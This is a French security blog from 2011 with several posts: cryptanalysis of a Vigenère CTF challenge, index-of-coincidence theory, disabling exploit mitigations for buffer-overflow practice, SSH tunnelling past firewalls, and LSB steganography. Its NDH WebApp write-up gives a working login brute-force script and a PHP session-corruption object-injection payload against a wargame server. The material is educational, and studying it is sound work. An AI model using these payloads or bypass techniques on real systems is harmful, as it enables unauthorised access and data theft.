samedi 26 février 2011

NDH Cryptographie Epreuve 3

L'épreuve 3 de cryptographie de la nuit du hack 2010 se présente de cette façon :

Ws szdv od gowhooehzb od nsesp saqpigd pge kp ao5 cp qp spled doyr pgazns
Pour commencer et pour tous les messages chiffrés, il est important de faire une bonne première analyse pour écarter les mauvaises pistes. Ici plusieurs éléments sont marquants :

  • Le message chiffré contient une majuscule en début de phrase
  • Le message chiffré contient des espaces, et la proportion des "mots" semble respectée
  • Le chiffre 5 apparaît dans le message chiffré, avec deux caractères avant ce qui nous fait penser à md5
Ici on écarte rapidement le chiffrement de transposition, car la majuscule en début de phrase et la proportion des mots qui semble respectée ne collent pas.

Le calcul de l'indice de coïncidence donne le résultat suivant (après retrait des espaces, du 5 et transformation du W en w) :

# ./indice_coincidence.rb "wsszdvodgowhooehzbodnsespsaqpigdpgekpao cpqpspleddoyrpgazns"
0.0647307924984876
L'indice de coïncidence est proche de celui de l'anglais et un peu bas pour du français. Cependant le texte est très court, et se fier aveuglément sur l'indice de coïncidence sur un texte de cette longueur est risqué.
Même si la substitution mono-alphabétique a déjà été utilisée lors de la ndh, c'était une mono-substitution particulière puisqu'un chiffrement de césar, donc on se lance dans cette voie, peut être sans issue.

Des outils existent pour casser une mono-substitution comme SCBSolvr. Cependant je trouve que dans ce genre de challenge, le cheminement vers la solution est plus important que la solution en elle même, du coup on n'utilisera pas cet outil.

J'ai écrit un petit outil sans prétention, permettant de faire une recherche de motif dans une liste de mot. Par exemple si on lui passe 123123 ou abcabc en paramètre il sortira tous les mots comme coucou, tintin ou encore bonbon. Le 4° mot du message chiffré gowhooehzb paraît suffisamment long avec plusieurs lettres répétées, un candidat parfait comme pattern.
# pattern -f dict_fr.txt -p gowhooehzb

# pattern -f dict_en.txt -p gowhooehzb
Ca s'annonce mal... un mot de ce type n'existe ni en français, ni en anglais. Donc soit ce mot est un mot inventé, soit ce n'est pas une mono-substitution. On tente d'autres combinaisons pour confirmer ou infirmer nos hypothèses.
# pattern -f dict_fr.txt -p nsesp,spled,pgazns
...
balai aigle intuba
...
maias asdic stroma
...
Bon hormis le fait que mon dictionnaire est à retravailler... aucun groupe de mots ne semble réellement correspondre à ce que nous recherchons. La voie de la mono-substitution est donc sans issue.

On va tenter l'algorithme Vigenère qui est un algorithme très connu et largement utilisé dans les challenges. Plusieurs techniques existent pour casser l'algorithme Vigenère, mais ici une technique est à privilégier. L'analyse préalable du cipher a laissé supposer que le mot md5 était présent dans le texte en clair, une attaque par mot connue ou KPTA pour known Plain Text Attack sera donc utilisée.

Pour que md5 devienne ao5, il faut qu'il y ait un décalage de 14 (soit la lettre "O" dans l'alphabet) sur la première lettre et de 11 (soit la lettre "L" dans l'alphabet) sur la deuxième. On connait donc deux lettres de notre clé, on va tester ces deux lettres comme clé (et donc supposer que la clé fait deux caractères).
Cipher : WSSZDVODGOWHOOEHZBODNSESPSAQPIGDPGEKPAOCPQPSPLEDDOYRPGAZNS
Clé :    LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLO
Plain :  LEHLSHDPVALTDATTONDPCETEEEPCEUVPESTWEMDOECEEEXTPSANDESPLCE
Intéressant... on devine le mot validation. L'algorithme de chiffrement est donc le bon mais la clé est encore mauvaise.

Le chiffré GOWHOOEHZB doit donc devenir VALIDATION. Pour cela, la clé doit être LOLZLOLZLO. On voit bien la répétition, on teste donc la clé LOLZ.

# vigenere.rb -d WSSZDVODGOWHOOEHZBODNSESPSAQPIGDPGEKPAOCPQPSPLEDDOYRPGAZNS -k LOLZ
LEHASHDEVALIDATIONDECETTEEPREUVEESTLEMDDECETEXTESANSESPACE
Voilà épreuve terminée :)

jeudi 17 février 2011

Indice de coïncidence

Quand on analyse un message chiffré, découvrir le type de chiffrement utilisé est primordial. Cette tâche n'est pas toujours évidente mais certains outils peuvent aider. Parmi ces outils l'indice de coïncidence ou IC est un passage obligé... autant que l'analyse de fréquence voire plus.

Présentation de l'Indice de Coïncidence

L'IC est une valeur décimale inventée par Wilfried Friedman et publiée en 1920 qui mesure la probabilité que deux lettres choisies aléatoirement dans un texte soient identiques.

La formule de l'IC est la suivante :
IC = SUM(1,N) Ni(Ni-1) / N(N-1

N : Nombre de lettre dans l'alphabet
Ni : Nombre d'occurrence de la lettre i
Chaque langue ayant ses propres caractéristiques, chaque langue a aussi un IC qui lui est propre (tableau original ici) :

LangueIndice
Russe0,0529
Serbe0,0643
Suédois0,0644
Anglais0,0667
Esperanto0,0690
Grec0,0691
Norvégien0,0694
Danois0,0707
Finnois0,0737
Italien0,0738
Portugais0,0745
Arabe0,0758
Allemand0,0762
Hébreu0,0768
Espagnol0,0770
Japonais0,0772
Français0,0778
Néerlandais0,0798
Malaysien0,0852


On peut trouver des IC différents selon les sources, tout dépend bien entendu du texte d'origine sur lequel il a été calculé. Par exemple un texte issu du livre La disparition de Georges Perec aura peu de chance d'être représentatif de la langue française et aura donc un IC bien différent.

Utilisation de l'Indice de Coïncidence


Bon c'est bien beau tout ça, mais ça n'explique pas en quoi l'IC peut aider au décryptage d'un texte. Pour commencer, la valeur de l'indice est indépendante des lettres utilisées, il mesure la probabilité de tomber deux fois sur la même lettre quelle que soit cette lettre.

Ce qui veut dire que dans le cas d'une substitution mono-alphabétique (césar, carré de polybe...), le texte chiffré et le texte en clair auront exactement le même IC. De la même façon les chiffres de transposition comme celui utilisé à la NDH par exemple, ne font que modifier l'ordre d'apparition des lettres dans le texte, sans en modifier la quantité, l'IC reste donc inchangé.

Quand on travaille sur un texte chiffré suffisamment long (pour être le plus représentatif possible), on peut donc facilement écarter certaines hypothèses grâce à cet outil. Si ce dernier a une valeur de 0.03 il y a peu de chance que ce soit une substitution mono-alphabétique ou une transposition, il faudra donc plus regarder en direction de chiffres polyalphabétiques par exemple de type Vigenère, Porta ou Gronsfeld qui eux modifient la quantité de chaque lettre.

L'utilisation de l'IC va bien au delà de la simple caractérisation du type de chiffrement utilisé. Prenons par exemple un texte en clair que l'on chiffre avec un algorithme qui va modifier la fréquence d'apparition de chaque lettre (Hill, ADFGVX, Playfair...), et on applique un surchiffrement dessus avec une substition mono-alphabétique. A priori l'exercice paraît compliqué pour passer du texte chiffré au texte en clair. Pourtant l'IC apporte ici une aide non négligeable.
Si on décide de faire une recherche exhaustive des clés du premier algo, il ne sera pas possible de savoir si on a trouvé la bonne clé, car le deuxième chiffrement nous masquera la réponse. Cependant on sait que le deuxième algo ne modifie pas l'IC. Il sera donc possible de réduire énormément l'espace de recherche, en ne sélectionnant que les textes qui ont un IC convenable. L'algorithme suivant permet d'expliquer cette démarche.
ecart_accepte = 0.01   // A adapter selon les besoins
Pour toutes les clés K faire
   plain = déchiffrer(cipher,K);
   Si abs(0.0778 - IC(plain)) < ecart_accepte Alors
      plain_possibles.add(plain);
   FinSi
FinPour
L'espace de recherche qui était constitué d'un ensemble aussi important que le nombre de clé est grandement réduit grâce à l'IC.

L'IC peut aussi être utilisé dans la recherche de la taille de la clé pour un message chiffré avec Vigenère. Cet algorithme modifie le rapport de fréquence d'apparition des lettres, et donc l'IC. Cependant il n'est ni plus ni moins qu'un ensemble de N décalages (N césar) où N est la taille de clé.

Prenons ce texte suivant : "CET ARTICLE PARLE DE L INDICE DE COINCIDENCE QUI EST UN OUTIL TRES UTILE EN CRYPTANALYSE" et chiffrons le avec la clé "CLE".

CETARTICLEPARLEDELINDICEDECOINCIDENCEQUIESTUNOUTILTRESUTILEENCRYPTANALYSE
CLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLEC
EPXCCXKNPGAETWIFPPKYHKNIFPGQTRETHGYGGBYKPWVFRQFXKWXTPWWEMNPIPNVAAXCYENJWG

Les 1°, 4°, 7°... caractères sont chiffrés avec le caractère C et sont donc décalés de 2 caractères (3° lettre de l'alphabet).
Les 2°, 5°, 8°... caractères sont chiffrés avec le caractère L et sont donc décalés de 11 caractères (12° lettre de l'alphabet).
Les 3°, 6°, 9°... caractères sont chiffrés avec le caractère E et sont donc décalés de 4 caractères (5° lettre de l'alphabet).

Il y a donc 3 groupes de lettres dans le texte en clair qui subissent chacun un décalage différent et chaque groupe de lettre a un IC proche de celui de sa langue d'origine. Etant donné qu'un décalage n'est qu'une substitution mono-alphabétique, l'IC de chaque groupe de lettres chiffrées doit être proche de celui de la langue d'origine, si c'est pas le cas c'est que le groupe n'est pas bon et que donc la taille de la clé est fausse.
# ./friedman_test.rb 1 4 EPXCCXKNPGAETWIFPPKYHKNIFPGQTRETHGYGGBYKP
WVFRQFXKWXTPWWEMNPIPNVAAXCYENJWG
Taille Clé:1 => 0.05213089802130898
Taille Clé:2 => 0.04804804804804805 0.050793650793650794
Taille Clé:3 => 0.07333333333333333 0.09057971014492754 0.07608695652173914
Taille Clé:4 => 0.08187134502923976 0.0915032679738562 0.026143790849673203 0.032679738562091505
Comme on peut le voir ici, une taille de clé égale à 3 donne les IC les plus proches du français. La taille de la clé sera probablement de 3 caractères. Bien entendu, une clé de longueur multiple de 3 doit donner aussi de bons résultats. Ce test est appelé le test de Friedman.

Voilà pourquoi l'indice de coïncidence est un outil indispensable en cryptanalyse qui peut nous aider dans bien des cas.

mercredi 2 février 2011

Débuter avec les buffer overflows...

Je suis complètement débutant dans tout ce qui est exploitation, reverse et autres joyeusetés du même genre... alors je travaille pour m'améliorer en lisant beaucoup de documentation (notamment Hacking The Art of Exploitation)
Le problème c'est qu'aujourd'hui de nombreuses protections sont mises en places par défaut sur les différents systèmes, ce qui rend l'apprentissage bien plus compliqué. La moindre petite exploitation devient donc pour les débutants comme moi, infaisable...
Voilà donc quelques éléments qui peuvent faciliter la tâche à des fins d'apprentissages.

Pour commencer lors de la création du binaire vulnérable, il faut préciser au compilateur l'option -fno-stack-protector à gcc qui va empêcher la mise en place de code supplémentaire permettant de détecter les débordements de buffer.

# gcc vuln.c -o vuln -fno-stack-protector -ggdb3

Ensuite on va autoriser la création des fichiers core (on va leur donner un nom sexy et surtout s'assurer qu'il n'y a pas /dev/null dans /proc/sys/kernel/core_pattern) :

# sudo sysctl -w kernel.core_pattern=%e-%p-%t.core
kernel.core_pattern = %e-%p-%t.core
# ulimit -c 100000

Ensuite on va utiliser le programme execstack, pour rendre la pile de notre programme exécutable (désactivation du NX bit):

# readelf -l vuln
Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 8 program headers, starting at offset 52

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x004b4 0x004b4 R E 0x1000
LOAD 0x000f14 0x08049f14 0x08049f14 0x00100 0x00108 RW 0x1000
DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1

Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06
07 .ctors .dtors .jcr .dynamic .got
# execstack -s vuln
# readelf -l vuln
Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 8 program headers, starting at offset 52

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x004b4 0x004b4 R E 0x1000
LOAD 0x000f14 0x08049f14 0x08049f14 0x00100 0x00108 RW 0x1000
DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1

Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06
07 .ctors .dtors .jcr .dynamic .got

Enfin on va désactiver l'ASLR:

# sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

Ces petites modifications m'ont permis de tester quelques exploitations très simples. En espérant que ca en aidera certains :)

Update: Certaines options peuvent être ajoutées à gcc pour désactiver encore plus de sécurité et qui peut être utile lors de l'exploitation de format string (et qui permet aussi de se passer de execstack) :

# gcc vuln.c -w -O0 -ggdb -std=c99 -static -D_FORTIFY_SOURCE=0 -fno-pie -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o vuln

lundi 31 janvier 2011

Tunnel SSH

J'ai souvent été confronté durant un pentest, un audit ou tout simplement lors de la configuration d'une machine à distance au fait que je sois bloqué par le firewall lors de l'accès à certains ports ou à certaines machines.
Pourtant si par chance nous avons accès à un serveur SSH dans le réseau, nous pouvons dire que nous avons accès à tout (ou presque) le réseau, quelque soit le port ou la machine visée (tant que cette dernière est accessible via le serveur SSH).

Pour cela il suffit d'utiliser une des nombreuses fonctionnalités d'OpenSSH, le tunnel. L'idée est simple, utiliser le serveur SSH sur lequel nous avons un accès pour rebondir sur la machine souhaitée.

Prenons un exemple simple : nous avons accès à un serveur SSH sur un réseau et nous voulons reconfigurer la livebox de ce réseau. Le problème c'est que la livebox est inaccessible directement... elle est bien configurée pour transférer le service SSH sur la bonne machine, mais impossible d'accéder directement à cette maudite livebox.
Nous allons utiliser cet accès SSH disponible pour rebondir sur le serveur WEB de la livebox.
Les commandes à taper sur la machine distante sont les suivantes :

# ssh -N -L 8080:192.168.0.1:443 ip_serveur_ssh

Quelques explications sont nécessaires : le port 8080 apparaissant en violet est le port qui va s'ouvrir sur la machine distante, c'est à dire celle dont nous disposons. Toute communication à destination de ce port sera encapsulée et envoyée vers l'ip du serveur SSH en vert, qui désencapsulera la partie SSH et renverra le reste à destination de l'adresse IP 192.168.0.1:443 (la livebox). La réponse de la livebox fera le chemin inverse et sera encapsulée par le serveur à destination de notre client et qui enlevera la partie SSH et le renverra à notre navigateur WEB.
Remarque: L'adresse en rouge représentant l'adresse de la livebox est relative au serveur SSH et non pas à la machine distante.

En plus d'être très pratique, ce mécanisme permet de chiffrer toute la communication de la machine distante vers le réseau et donc apporte une couche de sécurité.

Il est possible de désactiver cette fonctionnalité du serveur OpenSSH dans le fichier sshd_config en mettant AllowTcpForwarding à No (par défaut il est à Yes).

dimanche 30 janvier 2011

Least Significant Bit ou LSB

Introduction

Une technique fréquemment utilisée en stéganographie pour cacher des informations est la technique du Least Significant Bit, LSB ou bits de poids faible. Contrairement à mon article sur le padding BMP, cette méthode peut être utilisée sur plusieurs formats d'images, tant que celui-ci n'utilise pas de compression avec perte. Il est donc possible de l'utiliser sur les formats BMP, PNG, GIFF... mais ne pourra pas être appliquée au format JPG. L'objectif du LSB est de modifier de façon imperceptible l'image pour cacher de l'information.

Principe

Pour commencer il est nécessaire de comprendre comment sont stockées les informations dans une image. Chaque image est constituée de pixels codés généralement par 3 couleurs : rouge, vert et bleu (RGB). Chaque pixel représente donc une certaine quantité de rouge, une certaine quantité de vert et une certaine quantité de bleue.
Si on prend le cas ou chaque couleur de chaque pixel est codée sur un octet il y a donc 256 valeurs pour une couleur de 0 (la couleur n'est pas présente) à 255.

On peut donc représenter 256^3 soit 16777216 couleurs au total. L'idée est que l'œil humain ne va pas être capable de distinguer parfaitement toutes ces couleurs et que donc de légères modifications sur la couleur des pixels ne seront pas distinguables en tout cas pour l'œil humain.

Prenons un exemple, la couleur suivante est constituée uniquement de rouge et a la valeur 255,0,0 (255 de rouge, 0 de vert et 0 de bleu), la suivante a la valeur 254,0,0.

Comme on peut le voir la différence est difficilement visible. L'image suivante contient les couleurs suivantes sur la première ligne 255,0,0 0,255,0 0,0,255 et sur la deuxième ligne les couleurs suivantes 254,0,0 0,254,0 0,0,254.

Représentation binaire

Le but est donc de trouver un moyen d'altérer la couleur de l'image d'une façon imperceptible. Cette technique va se baser sur la représentation du nombre en binaire. Comme dit précédemment, une couleur est codée sur un octet, soit 8 bits. On peut donc représenter n'importe quelle couleur par une suite de 8 bits. Ce qui est intéressant dans cette approche c'est que chaque bit n'est pas porteur de la même quantité d'information. Le bit de poids faible (le bit le plus à droite) a un poids de 1, c'est à dire que le fait qu'il soit à 1 ou à 0 ne modifiera la valeur finale que de 1, alors que le bit de poids fort (le bit le plus à gauche) a un poids de 128.

Le tableau suivant détaille le poids de chaque bit :

Représentation binaire de 153 = 10011001b


bit 7bit 6bit 5bit 4bit 3bit 2bit 1bit 0
Valeur binaire10011001
Poids du bit1286432168421

Pour vérifier : 153 = 1*128 + 0*64 + 0*32 + 1*16 + 1*8 + 0*4 + 0*2 + 1*1

L'idée finale est donc d'altérer les bits qui portent le moins d'informations pour y stocker notre message caché. Etant donné que ces bits sont porteurs de peu d'information, l'aspect visuel de l'image sera peu altéré.

Cacher de l'information

Prenons un exemple concret où nous voulons cacher la lettre "A" dans 3 pixels. Les 3 pixels seront 153,74,186 255,255,255 0,0,0. La lettre "A" a la valeur ASCII 65 soit 01000001b en binaire. Comme dit précédemment, on va modifier les bits de poids faible de chaque couleur pour stocker notre information.

Pixel 1 RougePixel 1 VertPixel 1 BleuPixel 2 RougePixel 2 VertPixel 2 BleuPixel 3 RougePixel 3 VertPixel 3 Bleu
Valeur Décimale15374186255255255000
Valeur Binaire100110010100101010111011111111111111111111111111000000000000000000000000
Bit à cacher01000001padding
Couleur finale binaire100110000100101110111010111111101111111011111110000000000000000100000000
Couleur finale15275186254254254010


La nouvelle suite de couleur passe à 152,75,186 254,254,254 0,1,0. Comme on peut donc le voir, une légère modification a lieu.

Pour aller plus loin

L'exemple ici porte sur la façon de cacher de l'information dans le bit 0, celui qui est porteur du moins grand nombre d'informations. Il est toutefois possible d'utiliser plusieurs bits comme par exemple les bits 0, 1 et 2. L'image sera au final altérée de façon plus importante, mais la quantité d'information cachée sera plus grande. En stégagnographie tout est question de compromis : Plus on cachera d'information et plus on détériorera le support et donc plus il sera facile de déceler qu'une information est cachée.

Exemple d'information cachée

L'image suivante possède une information cachée dans ses bits de poids de faible. Ici contrairement au padding BMP, aucune chance de ne voir quoique ce soit en ouvrant l'image dans un editeur hexa ;)

mardi 18 janvier 2011

NDH WebApp Epreuve 8

Dans la catégorie WebApp du challenge public de la NDH, je ne parlerai que de l'épreuve 8, car on peut trouver des explications sur toutes les autres soit sur le blog de nibbles soit sur le blog de The lsd (Enjoy).

Cette épreuve a été réalisée par NiklosKoda et comme toujours avec lui, c'est une belle réussite qui nous montre à quel point un code apparemment simple peut malgré tout être vulnérable. D'autres épreuves de NiklosKoda peuvent être trouvées sur le site de newbiecontest comme WarezManiac, WebGalerie et la fabuleuse Randy's Forum (nécessite un compte). Une fois ces épreuves réalisées, je vous conseille d'aller faire un tour sur W3challs.

Bon maintenant que la pub est terminée, je vais pouvoir attaquer cette fameuse épreuve. Pour commencer les sources du site sont disponibles et ça en général ça veut dire qu'on a intérêt à être calé en bugs PHP ou en comportements un peu exotiques...

Première étape, on se munit d'un firefox bien configuré avec en particulier l'extension HackBar puis on va essayer de monter en local le site pour qu'il soit au maximum similaire à celui de l'épreuve (ce n'est pas nécessaire, mais ça aide bien pour faire des tests). Avec un peu de chance la version de PHP apparaît dans l'en-tête HTTP ou dans les fichiers d'erreur du serveur.

time0ut# curl -D - http://wargame.nuitduhack.com:8084/time.0ut
HTTP/1.1 404 Not Found
Date: Wed, 12 Jan 2011 19:58:34 GMT
Server: Apache/2.2.15
Vary: Accept-Encoding
Content-Length: 206
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /time.0ut was not found on this server.</p>

Bon bin ici, pas de chance on a aucune information sur PHP... la configuration a été faite pour filtrer ce genre d'informations... On va fonctionner en aveugle. Les différents challenges précédents tournaient avec un PHP 5.x, on va faire de même.

Maintenant à quoi ressemble ces sources :
time0ut# ls -lRA
.:
total 12
-rw-r----- 1 time0ut www-data  794 2011-01-10 23:44 admin.php
-rw-r----- 1 time0ut www-data  663 2010-12-31 00:40 index.php
drwxr-x--- 2 time0ut www-data 4096 2011-01-11 22:36 noway

./noway:
total 20
-rw-r----- 1 time0ut www-data 4561 2011-01-09 23:18 config.inc.php
-rw-r----- 1 time0ut www-data   16 2010-12-31 00:40 .htaccess
-rw-r----- 1 time0ut www-data   31 2011-01-11 22:36 th3_fl4g_is_h3rE.php
-rw-r----- 1 time0ut www-data  208 2010-12-31 00:40 websites.txt

time0ut# cat noway/.htaccess
deny from all

On remarque immédiatement le fichier th3_fl4g_is_h3rE.php qui contient le Saint Graal, bien protégé par un .htaccess. Bien entendu, le vrai contenu ne se trouve pas dans les sources, mais c'est l'objectif de l'épreuve : lire le contenu de ce fichier.
Après une analyse rapide du code source, on remarque que la seule fonction qui va nous permettre de voir le contenu de ce fichier est file_get_contents, appelée dans le destructeur de la classe MultiWebSiteHandler. Cette classe est appelée dans admin.php, il va donc falloir avant devenir administrateur sur le site.

La première étape va consister à passer l'authentification de index.php. Pour cela il faut traverser le check suivant :

require_once './noway/config.inc.php';

...

if ( isset($_POST['login'], $_POST['pass']) && is_string($_POST['login']) && !empty($_POST['login']) && ctype_alnum($_POST['login']) && is_string($_POST['pass']) && !empty($_POST['pass']) && ctype_alnum($_POST['pass'])  )
{
   $login = trim($_POST['login']);
   $pass = trim($_POST['pass']);

   if( $login == $config['login'] && $pass == $config['pass'] )
   {
      $sess->connectMe();
      $sess->goToAdmin();
La variable $config se trouve dans le fichier noway/config.inc.php et est initialisée comme suit (bien entendu les valeurs réelles ont été modifiées) :

$config['login'] = 'some_login_you_cant_guess...';
$config['pass'] = 'some_pass_youll_never_find...';
...


Ici pas de connexion à une base de données, aucune SQL injection... il faut se creuser la tête.

Qu'affiche le code suivant ?
$var = "some_text";
$var["foo"] = "Hello World !";
echo $var["foo"];
?>
Il affiche H !
Quelques explications ici sont nécessaires : Dans l'affectation $var["foo"] = "Hello World !"; $var est une chaîne de caractère et non un tableau. Du coup la chaine "foo" est implicitement transformée en entier et devient 0. $var["foo"] représente donc le premier caractère de la chaîne $var, soit H. Plus d'informations ici.

Dans le cas qui nous intéresse, si on passe config dans la requête HTTP (GET, POST ou COOKIE), on transforme donc $config en chaîne de caractères (seulement si register_globals est à ON) et donc $config['login'] sera égal à $config['pass'] qui sera égal à $config[0] et qui sera au final égal au premier caractère de 'some_pass_youll_never_find...'.
D'après le test fait dans index.php, 'some_pass_youll_never_find...' ne peut contenir que des caractères alphanumériques (ctype_alnum), donc au final il n'y a que 62 possibilités pour trouver la valeur $config['pass'] si config est passée en paramètre.

Un petit brute force permet de rapidement tester l'ensemble des possibilités :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib, urllib2, re, cookielib

def bf_become_admin():
   # Seuls caracteres possibles pour le login et le pass
   alphabet="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
   pattern = re.compile(r".*somehow.*",re.M);

   for char in range(len(alphabet)):
      #for pwd in range(len(alphabet)):
      # En mettant une valeur a config, ca devient une chaine de caractere et plus un tableau, du coup on teste juste le premier caractere
      # $config['login'] = 'some_login_you_cant_guess...'; devient $config[0] = 's';
      data = "config=some_text&login="+alphabet[char]+"&pass="+alphabet[char];

      req = urllib2.Request('http://wargame.nuitduhack.com:8084/index.php',data);
      r = urllib2.urlopen(req);

      d = r.read();

      if pattern.search(d) == None:
         print "Char: ",alphabet[char]
         return;

bf_become_admin();


Le caractère tant attendue est 3. Ce qui veut dire qu'un simple POST de ce type config=some_text&login=3&pass=3 sur la page index.php permet de devenir administrateur sur le site.

Remarque: A noter que empty("0") retourne vrai et donc si le mot de passe avait commencé par "0", le test de index.php ne serait pas passé, et il n'aurait pas été possible d'exploiter la faille.

Maintenant qu'il est possible d'être administrateur, il faut réussir à lire le flag. A première vue, ça va être compliquée car le chemin du fichier lu est écrit en dur dans le constructeur de la classe MultiWebSiteHandler définie dans config.inc.php.

$this->file = realpath('.').'/noway/websites.txt';


A priori impossible de modifier cela...

Commençons par essayer de comprendre dans quelles circonstances ce fichier va être lu. Comme dit précédemment il est lu par la fonction file_get_contents qui est appelée par la fonction parse, dans le destructeur de la classe MultiWebSiteHandler. Donc le fichier est lu quand l'objet créé dans admin.php est détruit, donc à la fin d'admin.php. Il faudrait être capable d'appeler le destructeur de l'objet, mais sans appeler le constructeur... pire, il faudrait être capable de créer l'objet que l'on veut, et qu'il soit ensuite détruit...

Là encore, il faut se creuser la tête... et faire des recherches sur le net, notamment sur le site the Month of PHP Security. Après de longues recherches et quelques litres de café, on tombe sur ce lien qui parle d'un bug PHP spécifique à certaines versions (5.2 <= 5.2.13 et 5.3 <= 5.3.2) et dont le but est de corrompre le fichier de sessions de PHP. Bon on ne sait pas si la version de PHP utilisée correspond, mais on a rien d'autre à se mettre sous la dent.

L'idée est simple (en tout cas après coup c'est simple :D), quand une session est créée par PHP, il construit un fichier dans lequel il sauvegardera toutes les données de session (les données seront serialisées). Lorsqu'une nouvelle page aura besoin de ces données, le fichier sera lu et les données seront déserialisées. Certaines versions de PHP ont un bug qui fait qu'il est possible dans des conditions très particulières, de corrompre ce fichier de session pour que quand il est relu par PHP, de nouvelles variables de session soient créées. Grâce à cela il devrait être possible de forger l'objet que l'on souhaite (sans appeler le constructeur puisque celui ci sera issue d'une sois disant sauvegarde de session).

Pour que l'exploitation de la vulnérabilité soit possible, il est nécessaire de pouvoir créer une variable de session (ça c'est classique), mais surtout de pouvoir choisir le nom de cette variable (ça c'est de suite moins commun). L'exploit consiste ensuite à faire commencer le nom de la variable par un "!" (PS_UNDEF_MARKER), du coup PHP s'embrouille dans son parsing du fichier. Heureusement ici, c'est le cas dans le fichier admin.php :

...
if( isset($_GET['site'], $_GET['sessAdmin'], $_GET['sessValue']) && is_string($_GET['site']) && is_string($_GET['sessAdmin']) && is_string($_GET['sessValue']) )
{
   $sess->set($_GET['sessAdmin'].'_session_admin_', $_GET['sessValue'], true);
...
?>

En faisant commencer la variable sessAdmin passée en GET avec un "!", PHP va s'embrouiller. Et il sera possible avec la variable sessValue, de créer notre objet (ici un MultiWebSiteHandler avec le paramètre file à noway/th3_fl4g_is_h3rE.php) qui affichera le fichier tant attendu. sessValue doit être de la forme |nom_variable|structure_serialisée.

En résumé les étapes pour l'exploitation sont les suivantes :

  • Action utilisateur : Authentification en tant qu'admin en passant config en paramètre
  • Action utilisateur : Appel de la page admin.php en passant les paramètres sessAdmin et sessValue structurés de la bonne façon.
  • Action PHP : Exécution du script PHP puis à la fin sauvegarde des paramètres de session dans un fichier
  • Action utilisateur : Rechargement de la page
  • Action PHP : Récupération des paramètres de session dans le fichier (et du coup récupération de variables de session malveillantes), exécution du script puis à la fin appel des destructeurs et exécution du code malveillant
La requête effectuée pour passer les paramètres sessAdmin et sessValue est la suivante :

GET /admin.php?site=site1&sessAdmin=!&sessValue=|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}


Pour information dans le cas d'un appel normal lors d'un appel à la page admin.php avec les paramètres site=site1&sessAdmin=_site1_&sessValue=Admin le contenu des variables de session est :

_iAmFr34KinAdmin_ => 1

_site1__session_admin_ => Admin

Et le contenu du fichier de session est (le nom des variables est en bleu) :
_iAmFr34KinAdmin_|b:1;_site1__session_admin_|s:5:"Admin";
Dans le cas de notre appel malicieux, l'exploitation de la vulnérabilité aura pour objectif d'avoir un fichier de session ressemblant à ça :
_iAmFr34KinAdmin_|b:1;!_session_admin_|s:467:"|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}";

dimanche 9 janvier 2011

NDH Cryptographie Epreuve 2

